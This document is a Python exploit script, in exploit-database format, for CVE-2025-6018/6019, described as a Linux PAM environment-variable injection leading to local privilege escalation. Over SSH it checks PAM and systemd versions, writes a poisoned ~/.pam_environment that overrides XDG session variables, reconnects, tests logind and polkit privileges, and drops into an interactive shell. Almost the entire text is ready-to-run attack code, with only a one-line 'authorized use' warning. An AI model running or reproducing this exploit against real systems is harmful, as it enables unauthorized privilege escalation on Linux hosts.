# Exploit Title: Linux PAM Environment - Variable Injection Local Privilege Escalation # Exploit Author: @İbrahimsql # Exploit Author's github: https://github.com/ibrahmsql # Description: PAM pam_env.so module allows environment variable injection via ~/.pam_environment # leading to privilege escalation through SystemD session manipulation # CVE: CVE-2025-6018, CVE-2025-6019 # Vendor Homepage: https://github.com/linux-pam/linux-pam # Software Link: https://github.com/linux-pam/linux-pam/releases # Version: PAM 1.3.0 - 1.6.0 (vulnerable versions) # Category: Local Privilege Escalation # Requirements: paramiko>=2.12.0 # Usage: python3 cve_2025_6018_professional.py -i target_ip -u username -p password # References: # - https://access.redhat.com/security/cve/CVE-2025-6018 # - https://bugzilla.redhat.com/show_bug.cgi?id=2372693 # - https://bugzilla.suse.com/show_bug.cgi?id=1243226 import paramiko import time import sys import socket import argparse import logging from datetime import datetime # Setup logging logging.basicConfig( level=logging.INFO, format='%(asctime)s [%(levelname)s] %(message)s', datefmt='%Y-%m-%d %H:%M:%S', handlers=[ logging.FileHandler('cve_2025_6018_exploit.log'), logging.StreamHandler(sys.stdout) ] ) logger = logging.getLogger(__name__) class CVEExploit: def __init__(self): self.vulnerable_versions = [ "pam-1.3.0", "pam-1.3.1", "pam-1.4.0", "pam-1.5.0", "pam-1.5.1", "pam-1.5.2", "pam-1.5.3", "pam-1.6.0" ] def check_vulnerability(self, client): """Enhanced vulnerability detection""" logger.info("Starting vulnerability assessment") checks = { "pam_version": "rpm -q pam || dpkg -l | grep libpam", "pam_env": "find /etc/pam.d/ -name '*' -exec grep -l 'pam_env' {} \\; 2>/dev/null", "pam_systemd": "find /etc/pam.d/ -name '*' -exec grep -l 'pam_systemd' {} \\; 2>/dev/null", "systemd_version": "systemctl --version | head -1" } vulnerable = False for check_name, command in checks.items(): logger.info(f"Executing check: {check_name}") try: stdin, stdout, stderr = client.exec_command(command, timeout=10) output = stdout.read().decode().strip() if check_name == "pam_version": for vuln_ver in self.vulnerable_versions: if vuln_ver in output: logger.info(f"Vulnerable PAM version detected: {vuln_ver}") vulnerable = True break elif check_name == "pam_env" and output: logger.info("pam_env.so configuration found") vulnerable = True elif check_name == "pam_systemd" and output: logger.info("pam_systemd.so found - escalation vector available") if output and check_name != "pam_version": logger.debug(f"Command output: {output[:100]}...") except Exception as e: logger.warning(f"Check {check_name} failed: {e}") time.sleep(0.5) return vulnerable def create_malicious_environment(self, client): """Create enhanced .pam_environment file""" logger.info("Creating malicious environment file") payload = '''# CVE-2025-6018 Environment Poisoning XDG_SEAT OVERRIDE=seat0 XDG_VTNR OVERRIDE=1 XDG_SESSION_TYPE OVERRIDE=x11 XDG_SESSION_CLASS OVERRIDE=user XDG_RUNTIME_DIR OVERRIDE=/tmp/runtime SYSTEMD_LOG_LEVEL OVERRIDE=debug''' try: logger.info("Writing .pam_environment file") cmd = f"cat > ~/.pam_environment << 'EOF'\n{payload}\nEOF" stdin, stdout, stderr = client.exec_command(cmd) # Verify creation stdin, stdout, stderr = client.exec_command("cat ~/.pam_environment") output = stdout.read().decode() if "OVERRIDE" in output: logger.info("Malicious environment file created successfully") return True else: logger.error("Failed to create environment file") return False except Exception as e: logger.error(f"Environment poisoning failed: {e}") return False def test_privilege_escalation(self, client): """Test privilege escalation vectors""" logger.info("Testing privilege escalation vectors") tests = [ ("SystemD Reboot", "gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanReboot", "yes"), ("SystemD Shutdown", "gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanPowerOff", "yes"), ("PolicyKit Check", "pkcheck --action-id org.freedesktop.policykit.exec --process $$ 2>/dev/null || echo 'denied'", "authorized") ] escalated = False for test_name, command, success_indicator in tests: logger.info(f"Testing: {test_name}") try: stdin, stdout, stderr = client.exec_command(command, timeout=10) output = stdout.read().decode().strip() if success_indicator in output.lower(): logger.info(f"PRIVILEGE ESCALATION DETECTED: {test_name}") escalated = True else: logger.info(f"No escalation detected: {test_name}") except Exception as e: logger.warning(f"Test {test_name} failed: {e}") return escalated def interactive_shell(self, client): """Professional interactive shell""" logger.info("Starting interactive shell session") shell = client.invoke_shell() shell.send("export PS1='exploit$ '\n") time.sleep(1) # Clear buffer while shell.recv_ready(): shell.recv(1024) print("\n--- Interactive Shell ---") print("Commands: 'exit' to quit, 'status' for privilege check") while True: try: command = input("exploit$ ") if command.lower() == 'exit': break elif command.lower() == 'status': stdin, stdout, stderr = client.exec_command("id && groups") print(stdout.read().decode()) continue shell.send(command + "\n") time.sleep(0.5) while shell.recv_ready(): output = shell.recv(1024).decode('utf-8', errors='ignore') print(output, end='') except KeyboardInterrupt: logger.warning("Use 'exit' to quit properly") except Exception as e: logger.error(f"Shell error: {e}") break def run_exploit(self, hostname, username, password=None, key_filename=None, port=22): """Main exploit execution""" logger.info(f"Starting CVE-2025-6018 exploit against {hostname}:{port}") try: # Initial connection client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) logger.info(f"Connecting to {hostname}:{port} as {username}") client.connect(hostname, port=port, username=username, password=password, key_filename=key_filename, timeout=10) logger.info("SSH connection established") # Check vulnerability if not self.check_vulnerability(client): logger.error("Target does not appear vulnerable to CVE-2025-6018/6019") return False logger.info("Target appears vulnerable, proceeding with exploitation") # Create malicious environment if not self.create_malicious_environment(client): logger.error("Failed to create malicious environment") return False logger.info("Reconnecting to trigger PAM environment loading") client.close() time.sleep(2) # Reconnect to trigger PAM client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(hostname, port=port, username=username, password=password, key_filename=key_filename) logger.info("Reconnection successful") # Test privilege escalation if self.test_privilege_escalation(client): logger.info("EXPLOITATION SUCCESSFUL - Privilege escalation confirmed") self.interactive_shell(client) else: logger.warning("No clear privilege escalation detected") logger.info("Manual verification may be required") return True except paramiko.AuthenticationException: logger.error("Authentication failed - check credentials") except paramiko.SSHException as e: logger.error(f"SSH error: {e}") except socket.error as e: logger.error(f"Network error: {e}") except Exception as e: logger.error(f"Unexpected error: {e}") finally: try: client.close() except: pass logger.info("Connection closed") return False def main(): parser = argparse.ArgumentParser( description="CVE-2025-6018/6019 PAM Environment Injection Exploit", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: python3 %(prog)s -i 192.168.1.100 -u testuser -p password123 python3 %(prog)s -i target.com -u admin -k ~/.ssh/id_rsa """ ) parser.add_argument("-i", "--hostname", required=True, help="Target hostname or IP") parser.add_argument("-u", "--username", required=True, help="SSH username") parser.add_argument("-p", "--password", help="SSH password") parser.add_argument("-k", "--key", dest="key_filename", help="SSH private key file") parser.add_argument("--port", type=int, default=22, help="SSH port (default: 22)") parser.add_argument("-v", "--verbose", action="store_true", help="Enable verbose logging") args = parser.parse_args() if args.verbose: logging.getLogger().setLevel(logging.DEBUG) if not args.password and not args.key_filename: parser.error("Provide either password (-p) or private key (-k)") # Security warning logger.warning("Use only with proper authorization!") exploit = CVEExploit() success = exploit.run_exploit( hostname=args.hostname, username=args.username, password=args.password, key_filename=args.key_filename, port=args.port ) sys.exit(0 if success else 1) if __name__ == "__main__": main()